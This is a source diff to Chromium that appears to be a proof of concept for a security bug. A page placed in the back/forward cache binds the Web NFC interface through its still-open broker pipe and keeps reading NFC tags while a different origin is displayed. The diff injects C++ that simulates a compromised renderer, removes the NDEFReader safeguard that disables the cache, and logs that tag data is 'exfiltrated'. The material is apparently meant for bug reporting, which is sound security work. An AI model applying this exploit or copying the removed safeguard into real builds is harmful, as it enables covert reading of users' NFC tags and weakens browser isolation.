diff --git a/content/browser/android/nfc_host.cc b/content/browser/android/nfc_host.cc index 0000000..0000001 100644 --- a/content/browser/android/nfc_host.cc +++ b/content/browser/android/nfc_host.cc @@ -39,6 +39,24 @@ NFCHost::~NFCHost() { Close(); } +// --------------------------------------------------------------------------- +// POC instrumentation: log the lifecycle / primary-main-frame state of the +// caller so the bug is observable in `adb logcat` without NFC hardware. This +// is *not* part of the exploit -- it just proves that a BFCached RFH reached +// this point with permission GRANTED. +// --------------------------------------------------------------------------- +static const char* LifecycleName(RenderFrameHost::LifecycleState s) { + switch (s) { + case RenderFrameHost::LifecycleState::kPendingCommit: return "kPendingCommit"; + case RenderFrameHost::LifecycleState::kPrerendering: return "kPrerendering"; + case RenderFrameHost::LifecycleState::kActive: return "kActive"; + case RenderFrameHost::LifecycleState::kInBackForwardCache: + return "kInBackForwardCache"; + case RenderFrameHost::LifecycleState::kPendingDeletion: return "kPendingDeletion"; + } + return "?"; +} + void NFCHost::GetNFC(RenderFrameHost* render_frame_host, mojo::PendingReceiver receiver) { // https://w3c.github.io/web-nfc/#security-policies @@ -59,6 +77,15 @@ void NFCHost::GetNFC(RenderFrameHost* render_frame_host, mojo::ReportBadMessage("WebNFC is not allowed within in a fenced frame."); return; } + + LOG(ERROR) << "NFC-BFCACHE-POC [browser] GetNFC reached" + << " origin=" << render_frame_host->GetLastCommittedOrigin() + << " lifecycle=" + << LifecycleName(render_frame_host->GetLifecycleState()) + << " is_primary_main_frame=" + << (web_contents()->GetPrimaryMainFrame() == render_frame_host) + << " primary_origin=" + << web_contents()->GetPrimaryMainFrame()->GetLastCommittedOrigin(); if (render_frame_host->GetBrowserContext() ->GetPermissionController() @@ -69,6 +96,10 @@ void NFCHost::GetNFC(RenderFrameHost* render_frame_host, render_frame_host) != blink::mojom::PermissionStatus::GRANTED) { return; } + + LOG(ERROR) << "NFC-BFCACHE-POC [browser] permission GRANTED, binding NFC for " + << render_frame_host->GetLastCommittedOrigin() + << " (primary is a different origin if exploit succeeded)"; if (!subscription_id_) { // base::Unretained() is safe here because the subscription is canceled when diff --git a/third_party/blink/renderer/core/exported/web_view_impl.cc b/third_party/blink/renderer/core/exported/web_view_impl.cc index 0000000..0000001 100644 --- a/third_party/blink/renderer/core/exported/web_view_impl.cc +++ b/third_party/blink/renderer/core/exported/web_view_impl.cc @@ -38,6 +38,9 @@ #include "build/build_config.h" #include "cc/layers/picture_layer.h" #include "components/viz/common/features.h" +#include "mojo/public/cpp/bindings/receiver.h" +#include "mojo/public/cpp/bindings/remote.h" +#include "services/device/public/mojom/nfc.mojom-blink.h" #include "media/base/media_switches.h" #include "net/storage_access_api/status.h" #include "services/network/public/cpp/features.h" @@ -157,6 +160,7 @@ #include "third_party/blink/renderer/core/timing/window_performance.h" #include "third_party/blink/renderer/platform/bindings/exception_state.h" #include "third_party/blink/renderer/platform/bindings/script_forbidden_scope.h" +#include "third_party/blink/renderer/platform/browser_interface_broker_proxy.h" #include "third_party/blink/renderer/platform/fonts/font_cache.h" #include "third_party/blink/renderer/platform/fonts/generic_font_family_settings.h" #include "third_party/blink/renderer/platform/graphics/image.h" @@ -2455,6 +2459,66 @@ bool IsRestoredFromBackForwardCache( !new_state->is_in_back_forward_cache; } +// --------------------------------------------------------------------------- +// POC: simulate a compromised renderer that, AFTER its page has been placed in +// the BackForwardCache, binds device.mojom.NFC through its still-open +// BrowserInterfaceBroker pipe and starts a Watch(). +// +// A real attacker would do this via shellcode in the renderer process. We do +// it from C++ so the demonstration is deterministic. The objects are leaked on +// purpose so the mojo pipes survive page-freeze. +// --------------------------------------------------------------------------- +namespace { + +class PocNfcClient : public device::mojom::blink::NFCClient { + public: + PocNfcClient() = default; + void OnWatch(const WTF::Vector& watch_ids, + const WTF::String& serial_number, + device::mojom::blink::NDEFMessagePtr message) override { + LOG(ERROR) << "NFC-BFCACHE-POC [renderer] *** OnWatch fired *** serial=" + << (serial_number.IsNull() ? "" : serial_number.Utf8()) + << " records=" << (message ? message->data.size() : 0u) + << " -> tag data exfiltrated by BFCached origin"; + } + void OnError(device::mojom::blink::NDEFErrorPtr) override { + LOG(ERROR) << "NFC-BFCACHE-POC [renderer] OnError"; + } + mojo::Receiver receiver_{this}; +}; + +void PocBindNfcFromBfcache(LocalFrame* frame) { + if (!frame || !frame->IsOutermostMainFrame() || !frame->DomWindow()) { + return; + } + LOG(ERROR) << "NFC-BFCACHE-POC [renderer] page entered BFCache, sending " + "GetInterface(device.mojom.NFC) over broker for origin=" + << frame->DomWindow()->GetSecurityOrigin()->ToString().Utf8(); + + // Leak the remote/receiver so the pipes outlive page-freeze. + auto* nfc = new mojo::Remote(); + frame->DomWindow()->GetBrowserInterfaceBroker().GetInterface( + nfc->BindNewPipeAndPassReceiver()); + + auto* client = new PocNfcClient(); + (*nfc)->SetClient(client->receiver_.BindNewPipeAndPassRemote()); + (*nfc)->Watch(/*id=*/1, + base::BindOnce([](device::mojom::blink::NDEFErrorPtr err) { + if (err) { + LOG(ERROR) + << "NFC-BFCACHE-POC [renderer] Watch() rejected: " + << err->error_message.Utf8(); + } else { + LOG(ERROR) << "NFC-BFCACHE-POC [renderer] Watch() ACCEPTED " + "-- reader mode is now active for the " + "BFCached origin while a different origin " + "is shown in the omnibox"; + } + })); +} + +} // namespace } // namespace void WebViewImpl::SetPageLifecycleStateInternal( @@ -2523,6 +2587,15 @@ void WebViewImpl::SetPageLifecycleStateInternal( // TODO(https://crbug.com/427130212): Consider moving this to happen earlier // and together with other page state updates so that the ordering is clear. Scheduler()->SetPageBackForwardCached(new_state->is_in_back_forward_cache); + + // POC: by the time the browser has told us we're in BFCache, it has + // already (a) committed the new primary main frame, (b) fired + // RenderFrameHostChanged -> NFCHost::Close(), and (c) moved our RFH to + // LifecycleState::kInBackForwardCache. Our broker pipe is still bound and + // unfiltered, so this GetInterface() reaches NFCHost::GetNFC() with a + // BFCached RFH. + if (auto* main = DynamicTo(page->MainFrame())) + PocBindNfcFromBfcache(main); } if (freezing_page) { diff --git a/third_party/blink/renderer/modules/nfc/ndef_reader.cc b/third_party/blink/renderer/modules/nfc/ndef_reader.cc index 0000000..0000001 100644 --- a/third_party/blink/renderer/modules/nfc/ndef_reader.cc +++ b/third_party/blink/renderer/modules/nfc/ndef_reader.cc @@ -135,9 +135,11 @@ NDEFReader* NDEFReader::Create(ExecutionContext* context) { // https://w3c.github.io/web-nfc/#integration-with-feature-policy context->GetScheduler()->RegisterStickyFeature( SchedulingPolicy::Feature::kWebNfc, - {SchedulingPolicy::DisableBackForwardCache()}); + // POC: a compromised renderer simply omits this. (Note: the browser + // allow-lists kWebNfc for BFCache anyway -- see + // back_forward_cache_impl.cc GetAllowedWebSchedulerTrackedFeatures().) + {}); return MakeGarbageCollected(context); }